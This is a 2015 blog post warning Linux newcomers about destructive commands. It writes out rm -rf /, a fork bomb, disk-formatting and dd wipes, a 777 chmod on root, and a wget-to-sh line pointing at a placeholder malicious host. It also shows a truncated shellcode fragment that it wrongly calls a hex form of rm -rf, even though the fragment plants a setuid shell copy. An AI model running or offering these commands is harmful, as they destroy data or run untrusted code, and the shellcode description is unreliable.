Friday, October 30, 2015

9 Deadly Commands !! You Should Not Run on Linux

9 Deadly Commands !!

You Should Not Run on Linux

We know that Linux command line is more powerful and flexible one . Yes , Linux command line is awesome , because it offers users , full control over their Linux box/device... At the same time, the power and flexibility of Linux command line can also destroy our system ,if we use it improperly.
(i.e) Running commands in terminal without proper knowledge about them may break your system.
(Linux guide :getting start with Linux)
In general ,Linux newbies often do this kind of mistakes ,due to their out of box curiosity , enormous in trust and lots of    on Linux.
So , here i listed some deadly Linux commands which you should not run on your Linux box .
Note that many of these commands will only be dangerous if they're prefixed with sudo on Ubuntu - they won't work otherwise.
On other Linux distributions, most commands must be run as root.
You May Also Like To Read 58 cool Linux Hacks!

    rm -rf / [ This will Delete Everything! ]

The command rm -rf / will wipe every thing with in your root directory("/"). That means this command will erase your entire disk and all your mounted devices also..(if you run it as root). The part of
  • rm command in Linux is used to delete files.
  • rm -r command deletes the folder recursively, even the empty folder.
  • rm -f command removes 'Read only File' without asking(FORCE DELETION OF FILE).
  • rm -rf / : Force deletion of everything in root directory.
  • rm -rf * : Force deletion of everything in current directory/working directory.
  • rm -rf . : Force deletion of current folder and sub folders.

   Hidden version of rm -rf command [Alternte version of rm -rf /]

The command shown below is just a hex version of rm -rf / command.
char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
this is same as first command (rm -rf /).. it will also, just wipe your entire root directory.

   :(){ :|: & };: [ Fork Bomb ]

This is actually a bash function which creates new copies of itself .
This function also called as fork bomb; The process continually replicates itself, and its copies continually replicate themselves, quickly taking up all your CPU time and memory. This can cause your computer to freeze. It's basically a denial-of-service attack.
You may also Like to read ( How to Kill Linux Processes/Unresponsive Applications Using 'kill & pkill' Command )
:(){ :|: & };:

operation of this function:

This function operates by defining a function called ':', which calls itself twice, once in the foreground and once in the background. It keeps on executing again and again till the system freezes.
warning:This function even no need root permissions.

   mkfs.ext4 /dev/sda [ Formats a Hard Drive ]

The above command will format the block 'sda' and you would surely be knowing that after execution of the above command your Block (Hard Disk Drive) would be new, BRAND NEW! Without any data, leaving your system into unrecoverable stage.
mkfs.ext4 /dev/sda (it will format your entire hard disk[sda] into ext4 format)

mkfs.ext4 /dev/sda1 (this will format your sda1[first partition of your hard disk])

(wiping sda1 is similar to wiping C drive on windows.)
This command can come in other forms as well - mkfs.ext3 /dev/sdb2 would format the second partition on the second hard drive with the ext3 file system.


Beware of running commands directly on hard disk devices that begin with /dev/sd.

   command > /dev/sda

The command > /dev/sda line works similarly - it runs a command and sends the output of that command directly to your first hard drive, writing the data directly to the hard disk drive and damaging your file system.
command - Run a command (can be any command.)

> - Send the output of the command to the following location.

/dev/sda - Write the output of the command directly to the hard disk device.

   mv ~ /dev/null [ Moves Your Home Directory to a Black Hole ]

/dev/null is another special location - moving something to /dev/null is the same thing as destroying it. Think of /dev/null as a black hole. Essentially, mv ~ /dev/null sends all your personal files into a black hole.
mv - Move the following file or directory to another location.

~ - Represents your entire home folder.

/dev/null - Move your home folder to /dev/null, destroying all your files and deleting the original copies.

   dd if=/dev/random of=/dev/sda [Writes Junk Onto a Hard Drive]

This command will wipe out the block sda and write random junk data to the block. Of-course! Your system would be left at inconsistent and unrecoverable stage.
dd - Perform low-level copying from one location to another.

if=/dev/random - Use /dev/random (random data) as the input - you may also see locations such as /dev/zero (zeros).

of=/dev/sda - Output to the first hard disk, replacing its file system with random garbage data.

   wget http://malicious_source -O- | sh [Downloads and Runs a Script]

The above line downloads a script from the web and sends it to sh,which executes the contents of the script. This can be dangerous if you're not sure what the script is or if you don't trust its source - don't run untrusted scripts.
wget - Downloads a file. (You may also see curl in place of wget.) - Download the file from this location.

| - Pipe (send) the output of the wget command (the file you downloaded) directly to another command.

sh - Send the file to the sh command, which executes it if it's a bash script.

   > file [Flush out your file]

This command is used to flush the content of file. If the above command is executed with a typo or ignorance like "> xt.conf" will write the configuration file or any other system or configuration file.
> file

One more command .. sudo chmod -R 777 /

This is one more command which will create undesirable things..
sudo chmod -R 777 / 

This command will give everyone to do anything (read, write, execute) on your system ..
You may also like to read: Have More Fun with Windows vs Linux vs Mac

for more posts Click to see more interesting posts on OpensourceInside